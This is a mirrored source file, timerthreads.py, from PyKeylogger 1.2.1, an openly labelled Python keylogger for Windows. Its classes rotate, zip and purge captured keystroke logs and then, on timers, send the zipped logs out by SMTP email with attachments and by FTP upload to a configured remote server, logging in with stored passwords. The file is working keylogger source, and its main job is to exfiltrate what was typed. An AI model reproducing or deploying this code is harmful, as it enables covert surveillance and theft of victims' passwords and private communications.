timerthreads.py :  » Business-Application » FreeCAD » pykeylogger-1.2.1 » Python Open Source

Home
Python Open Source
1.3.1.2 Python
2.Ajax
3.Aspect Oriented
4.Blog
5.Build
6.Business Application
7.Chart Report
8.Content Management Systems
9.Cryptographic
10.Database
11.Development
12.Editor
13.Email
14.ERP
15.Game 2D 3D
16.GIS
17.GUI
18.IDE
19.Installer
20.IRC
21.Issue Tracker
22.Language Interface
23.Log
24.Math
25.Media Sound Audio
26.Mobile
27.Network
28.Parser
29.PDF
30.Project Management
31.RSS
32.Search
33.Security
34.Template Engines
35.Test
36.UML
37.USB Serial
38.Web Frameworks
39.Web Server
40.Web Services
41.Web Unit
42.Wiki
43.Windows
44.XML
Python Open Source » Business Application » FreeCAD 
FreeCAD » pykeylogger 1.2.1 » timerthreads.py
##############################################################################
##
## PyKeylogger: Simple Python Keylogger for Windows
## Copyright (C) 2009  nanotube@users.sf.net
##
## http://pykeylogger.sourceforge.net/
##
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 3
## of the License, or (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program.  If not, see <http://www.gnu.org/licenses/>.
##
##############################################################################

from threading import Thread,Event
import logging
import time
import re
import sys
import os.path
import myutils
from myutils import _settings,_cmdoptions,_mainapp
import copy
import zipfile
import smtplib
import ftplib

# python 2.5 does some email things differently from python 2.4 and py2exe doesn't like it. 
# hence, the version check.
if sys.version_info[0] == 2 and sys.version_info[1] >= 5:
    from email.mime.multipart import MIMEMultipart
    from email.mime.base import MIMEBase
    from email.mime.text import MIMEText
    from email.utils import COMMASPACE,formatdate
    import email.encoders as Encoders
    
    #need these to work around py2exe
    import email.generator
    import email.iterators
    import email.utils
    import email.base64mime 
    
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
    # these are for python 2.4 - they don't play nice with python 2.5 + py2exe.
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE,formatdate
    from email import Encoders

__all__ = ['LogRotator','LogFlusher','OldLogDeleter','LogZipper',
        'EmailLogSender','FTPLogUploader']

class BaseTimerClass(Thread):
    '''This is the base class for timer (delay) based threads.
    
    Timer-based threads are ones that do not need to be looking at
    keyboard-mouse events to do their job.
    '''
    def __init__(self, dir_lock, loggername, *args, **kwargs):
        Thread.__init__(self)
        self.finished = Event()
        self.dir_lock = dir_lock
        self.loggername = loggername
        self.args = args # arguments, if any, to pass to task_function
        self.kwargs = kwargs # keyword args, if any, to pass to task_function
        
        self.settings = _settings['settings']
        self.cmdoptions = _cmdoptions['cmdoptions']
        self.mainapp = _mainapp['mainapp']
        
        # set this up for clarity
        self.subsettings = self.settings[loggername]
        
        # set these up here because we will usually need them.
        self.logger = logging.getLogger(self.loggername)
        self.logfile_path = self.logger.handlers[0].stream.name
        self.log_full_dir = os.path.dirname(self.logfile_path)
        self.log_rel_dir = os.path.basename(self.log_full_dir)
        self.logfile_name = os.path.basename(self.logfile_path)
        
        self.interval = None # set this in derived class
        
    def cancel(self):
        '''Stop the iteration'''
        self.finished.set()
    
    def task_function(self):
        '''to be overridden by derived classes'''
        pass
    
    def run(self):
        while not self.finished.isSet():
            self.finished.wait(self.interval)
            if not self.finished.isSet():
                self.task_function(*self.args, **self.kwargs)
                
        
class LogRotator(BaseTimerClass):
    '''This rotates the logfiles for the specified logger.
    
    This is also one of the simplest time-based worker threads, so would
    serve as a good example if you want to write your own.
    '''
    
    def __init__(self, *args, **kwargs):
        BaseTimerClass.__init__(self, *args, **kwargs)
        
        self.interval = \
            float(self.subsettings['Log Rotation']['Log Rotation Interval'])*60*60
        
        self.task_function = self.rotate_logs
    
    def rotate_logs(self):
        
        for handler in self.logger.handlers:
            self.dir_lock.acquire()
            try:
                self.logger.debug("Handler %r: rolling over" % handler)
                handler.doRollover()
            except AttributeError:
                self.logger.debug("Handler %r is not capable of rollover." % \
                            handler)
            finally:
                self.dir_lock.release()

        
class LogFlusher(BaseTimerClass):
    '''Flushes the logfile write buffers to disk for the specified loggers.'''
    def __init__(self, *args, **kwargs):
        BaseTimerClass.__init__(self, *args, **kwargs)
        
        self.interval = float(self.subsettings['Log Flush']['Flush Interval'])
        
        self.task_function = self.flush_log_write_buffer
    
    def flush_log_write_buffer(self):
        '''Flushes all relevant log buffers.'''
        
        self.logger.debug("Flushing file write buffers.")
        for handler in self.logger.handlers:
            self.dir_lock.acquire()
            try:
                handler.flush()
            finally:
                self.dir_lock.release()

class OldLogDeleter(BaseTimerClass):
    '''Deletes old logs.
    
    Walks the log directory tree and removes old logfiles.

    Age of logs to delete is specified in .ini file settings.
    '''
    def __init__(self, *args, **kwargs):
        BaseTimerClass.__init__(self, *args, **kwargs)
        
        self.interval = \
            float(self.subsettings['Old Log Deletion']['Age Check Interval'])*60*60
        
        self.task_function = self.delete_old_logs
        
        self.max_log_age = \
            float(self.subsettings['Old Log Deletion']['Max Log Age'])*24*60*60
        
    def delete_old_logs(self):
                
        self.dir_lock.acquire()
        self.logger.debug("Initiating old log deletion")
        try:
            for fname in os.listdir(self.log_full_dir):
                if self.needs_deleting(fname):
                    try:
                        filepath = os.path.join(self.log_full_dir, fname)
                        self.logger.debug("Deleting old log "
                        "file: %s" % filepath)
                        os.remove(filepath)
                    except:
                        self.logger.debug("Error deleting old log "
                        "file: %s" % filepath)
        finally:
            self.dir_lock.release()
    
    def needs_deleting(self, filename):
        '''Check if file needs deleting.
        
        Delete everything older than specified max log age, 
        except for internal tracking files and the 
        unrotated logfile being written to.
        '''
        filepath = os.path.join(self.log_full_dir, filename)
        if not filename.startswith('_internal_') and \
                not filename == self.logfile_name and \
                time.time() - os.path.getmtime(filepath) > self.max_log_age:
            return True
        else:
            return False

class LogZipper(BaseTimerClass):
    '''Zip up log files for the specified logger.
    
    If rotator is enabled, just zip the rotated files.
    
    Otherwise, rotate, then zip.'''
    
    def __init__(self, *args, **kwargs):
        BaseTimerClass.__init__(self, *args, **kwargs)
        
        self.interval = float(self.subsettings['Zip']['Zip Interval'])*60*60
        
        self.task_function = self.zip_logs
    
    def zip_logs(self):
        '''Zip the rotated log files.
        
        Zip files are named as <time>.<logfilename>.zip and placed in the
        appropriate log subdirectory.
        
        Delete rotated log files which are zipped.
        '''
        
        self.logger.debug('Initiating log zip.')
        
        if not self.subsettings['Log Rotation']['Enable Log Rotation']:
            self.mainapp.event_threads[self.loggername].timer_threads['Log Rotation'].task_function()
            
        zipfile_name = ("%s." + self.logfile_name + ".zip") % \
                time.strftime("%Y%m%d_%H%M%S")
        zipfile_rel_path = os.path.join(self.log_rel_dir, zipfile_name)
        
        self.dir_lock.acquire()
        try:
            myzip = zipfile.ZipFile(zipfile_rel_path, "w", 
                                    zipfile.ZIP_DEFLATED)
            
            filelist = os.listdir(self.log_rel_dir)
            # will contain all files just zipped, and thus to be deleted
            filelist_copy = copy.deepcopy(filelist)
            for fname in filelist:
                if self.needs_zipping(fname):
                    myzip.write(os.path.join(self.log_rel_dir, fname))
                else: 
                    filelist_copy.remove(fname)
                            
            myzip.close()
            if len(filelist_copy) != 0:
                try:
                    myzip = zipfile.ZipFile(zipfile_rel_path, "r", 
                                            zipfile.ZIP_DEFLATED)
                    if myzip.testzip() != None:
                        self.logger.debug("Warning: zipfile for logger %s "
                                "did not pass integrity test.\n" % self.loggername)
                    else:
                        # if zip checks out, delete files just added to zip.
                        for fname in filelist_copy:
                            os.remove(os.path.join(self.log_rel_dir, fname))
                    myzip.close()
                except:
                    self.logger.debug("Error in integrity test of zipfile "
                                "for logger %s" % self.loggername)
            else:
                self.logger.debug('Nothing to zip.')
                os.remove(zipfile_rel_path) # don't need zero-length zip.
            
            
        finally:
            self.dir_lock.release()
    
    def needs_zipping(self, fname):
        '''Decide if file should go into the zip.
        
        Don't want to zip other zips, internal control files, or the log
        file currently being written to. 
        '''
        if fname.endswith('.zip') or fname.startswith('_internal_') or \
                fname == self.logfile_name:
            return False
        else:
            return True

class EmailLogSender(BaseTimerClass):
    '''Send log files by email to address[es] specified in .ini file.
    
    If log zipper is not enabled, we call a zipper here. 
    
    Otherwise, we just email out all the zips for the specified logger.
    '''
    
    def __init__(self, *args, **kwargs):
        BaseTimerClass.__init__(self, *args, **kwargs)
        
        self.interval = float(self.subsettings['E-mail']['E-mail Interval'])*60*60
        
        self.task_function = self.send_email
    
    def send_email(self):
        '''Zip and send logfiles by email for the specified logger.
        
        We use the email settings specified in the .ini file for the logger.
        '''
        self.logger.debug('Initiating log email.')

        if self.subsettings['Zip']['Enable Zip'] == False:
            self.mainapp.event_threads[self.loggername].timer_threads['Zip'].task_function()
        
        try:
            self.latest_zip_emailed = "" #in case emaillog doesn't exist.
            emaillog = open(os.path.join(self.log_full_dir, 
                    "_internal_emaillog.txt"), 'r')
            self.latest_zip_emailed = emaillog.readline()
            emaillog.close()
        except:
            self.logger.debug("Cannot open _internal_emaillog.txt. "
                    "Will email all available zip files.", exc_info=True)
        
        self.dir_lock.acquire()
        try:
            zipfile_list = os.listdir(self.log_full_dir)
            # removing elements from a list while iterating over it produces 
            # undesirable results so we make a copy
            zipfile_list_copy = copy.deepcopy(zipfile_list)
            self.logger.debug(str(zipfile_list))
            if len(zipfile_list) > 0:
                
                for filename in zipfile_list_copy:
                    if not self.needs_emailing(filename):
                        zipfile_list.remove(filename)
                        self.logger.debug("removing %s from "
                            "zipfilelist." % filename)
            
            self.logger.debug(str(zipfile_list))

            # set up the message
            msg = MIMEMultipart()
            msg['From'] = self.subsettings['E-mail']['E-mail From']
            msg['To'] = COMMASPACE.join(self.subsettings['E-mail']['E-mail To'].split(";"))
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = self.subsettings['E-mail']['E-mail Subject']

            msg.attach(MIMEText(self.subsettings['E-mail']['E-mail Message Body']))

            if len(zipfile_list) == 0:
                msg.attach(MIMEText("No new logs present."))

            if len(zipfile_list) > 0:
                for fname in zipfile_list:
                    part = MIMEBase('application', "octet-stream")
                    part.set_payload(open(os.path.join(self.log_full_dir, fname),"rb").read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 
                            'attachment; filename="%s"' % os.path.basename(fname))
                    msg.attach(part)
        finally:
            self.dir_lock.release()
            
        # set up the server and send the message
        # wrap it all in a try/except, so that everything doesn't hang up
        # in case of network problems and whatnot.
        try:
            mysmtp = smtplib.SMTP(self.subsettings['E-mail']['SMTP Server'], 
                                    self.subsettings['E-mail']['SMTP Port'])
            
            if self.cmdoptions.debug: 
                mysmtp.set_debuglevel(1)
            if self.subsettings['E-mail']['SMTP Use TLS'] == True:
                # we find that we need to use two ehlos (one before and one after starttls)
                # otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
                # thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
                mysmtp.ehlo()
                mysmtp.starttls()
                mysmtp.ehlo()
            if self.subsettings['E-mail']['SMTP Needs Login'] == True:
                mysmtp.login(self.subsettings['E-mail']['SMTP Username'], 
                        myutils.password_recover(self.subsettings['E-mail']['SMTP Password']))
            sendingresults = mysmtp.sendmail(self.subsettings['E-mail']['E-mail From'], 
                    self.subsettings['E-mail']['E-mail To'].split(";"), msg.as_string())
            self.logger.debug("Email sending errors (if any): "
                    "%s \n" % str(sendingresults))
            
            # need to put the quit in a try, since TLS connections may error 
            # out due to bad implementation with 
            # socket.sslerror: (8, 'EOF occurred in violation of protocol')
            # Most SSL servers and clients (primarily HTTP, but some SMTP 
            # as well) are broken in this regard: 
            # they do not properly negotiate TLS connection shutdown. 
            # This error is otherwise harmless.
            # reference URLs:
            # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
            # http://mail.python.org/pipermail/python-list/2005-August/338280.html
            try:
                mysmtp.quit()
            except:
                pass
            
            # write the latest emailed zip to log for the future
            if len(zipfile_list) > 0:
                zipfile_list.sort()
                emaillog = open(os.path.join(self.log_full_dir, 
                        "_internal_emaillog.txt"), 'w')
                emaillog.write(zipfile_list.pop())
                emaillog.close()
        except:
            self.logger.debug('Error sending email.', exc_info=True)
            pass # better luck next time

    def needs_emailing(self, fname):
        '''Decide if file needs emailing.
        
        Email only zip files, and only those created since previous email
        was sent.
        '''
        if fname.endswith('.zip') and fname > self.latest_zip_emailed:
            return True
        else:
            return False
            
class FTPLogUploader(BaseTimerClass):
    '''Upload logs by FTP to server/directory specified in .ini file.
    
    If log zipper is not enabled, we call a zipper here.
    
    Otherwise, we just upload all the zips for the specified logger.
    '''
    
    def __init__(self, *args, **kwargs):
        BaseTimerClass.__init__(self, *args, **kwargs)
        
        self.interval = float(self.subsettings['FTP']['FTP Interval'])*60*60
        
        self.task_function = self.ftp_upload
        
    def ftp_upload(self):
        self.logger.debug('Initiating log ftp.')

        if self.subsettings['Zip']['Enable Zip'] == False:
            self.mainapp.event_threads[self.loggername].timer_threads['Zip'].task_function()
    
        try:
            self.latest_zip_ftped = "" #in case ftplog doesn't exist.
            ftplog = open(os.path.join(self.log_full_dir, 
                    "_internal_ftplog.txt"), 'r')
            self.latest_zip_ftped = ftplog.readline()
            ftplog.close()
        except:
            self.logger.debug("Cannot open _internal_ftplog.txt. "
                    "Will ftp all available zip files.", exc_info=True)
        
        self.dir_lock.acquire()
        try:
            zipfile_list = os.listdir(self.log_full_dir)
            # removing elements from a list while iterating over it produces 
            # undesirable results so we make a copy
            zipfile_list_copy = copy.deepcopy(zipfile_list)
            self.logger.debug(str(zipfile_list))
            if len(zipfile_list) > 0:
                
                for filename in zipfile_list_copy:
                    if not self.needs_ftping(filename):
                        zipfile_list.remove(filename)
                        self.logger.debug("removing %s from "
                            "zipfilelist." % filename)
            
            self.logger.debug(str(zipfile_list))
            
            ## now actually connect and upload
            ftp = ftplib.FTP()
            if self.cmdoptions.debug: 
                ftp.set_debuglevel(2)
            ftp.connect(host=self.subsettings['FTP']['FTP Server'], 
                        port=self.subsettings['FTP']['FTP Port'])
            ftp.login(user = self.subsettings['FTP']['FTP Username'],
                        passwd = myutils.password_recover(\
                            self.subsettings['FTP']['FTP Password']))
            ftp.set_pasv(self.subsettings['FTP']['FTP Passive Mode'])
            ## todo: make sure to create directory first??
            ftp.cwd(self.subsettings['FTP']['FTP Upload Directory'])
            for filename in zipfile_list:
                ftp.storbinary('STOR ' + filename, 
                        open(os.path.join(self.log_full_dir, filename), 'rb'))
            ftp.quit()
        except:
            self.logger.debug('Error in ftp upload.', exc_info=True)
        finally:
            self.dir_lock.release()
            
        # write the latest ftped zip to log for the future
        if len(zipfile_list) > 0:
            zipfile_list.sort()
            ftplog = open(os.path.join(self.log_full_dir, 
                    "_internal_ftplog.txt"), 'w')
            ftplog.write(zipfile_list.pop())
            ftplog.close()
    
    def needs_ftping(self, fname):
        '''Decide if file needs uploading.
        
        Upload only zip files, and only those created since previous upload
        task ran.
        '''
        if fname.endswith('.zip') and fname > self.latest_zip_ftped:
            return True
        else:
            return False
    
if __name__ == '__main__':
    # some basic testing code
    class TestTimerClass(BaseTimerClass):
        def __init__(self, *args, **kwargs):
            BaseTimerClass.__init__(self, *args, **kwargs)
            self.interval = 1
            
            self.task_function = self.print_hello
        
        def print_hello(self, name='bob', *args):
            print "hello, %s" % name
            print args
    
    _settings = {'settings':{'loggername':'bla'}}
    _cmdoptions = {'cmdoptions':'bla'}
    
    logger = logging.getLogger('loggername')
    logpath = '/tmp/throwaway.txt'
    from myutils import OnDemandRotatingFileHandler
    loghandler = OnDemandRotatingFileHandler(logpath)
    loghandler.setLevel(logging.INFO)
    logformatter = logging.Formatter('%(message)s')
    loghandler.setFormatter(logformatter)
    logger.addHandler(loghandler)
    
    ttc = TestTimerClass('dirlock','loggername','even more stuff', 
                            'myname', 'some other name')
    ttc.start()
    time.sleep(5)
    ttc.cancel()

    ttc = TestTimerClass('dirlock','loggername')
    ttc.start()
    time.sleep(5)
    ttc.cancel()
www.java2java.com | Contact Us
Copyright 2009 - 12 Demo Source and Support. All rights reserved.
All other trademarks are property of their respective owners.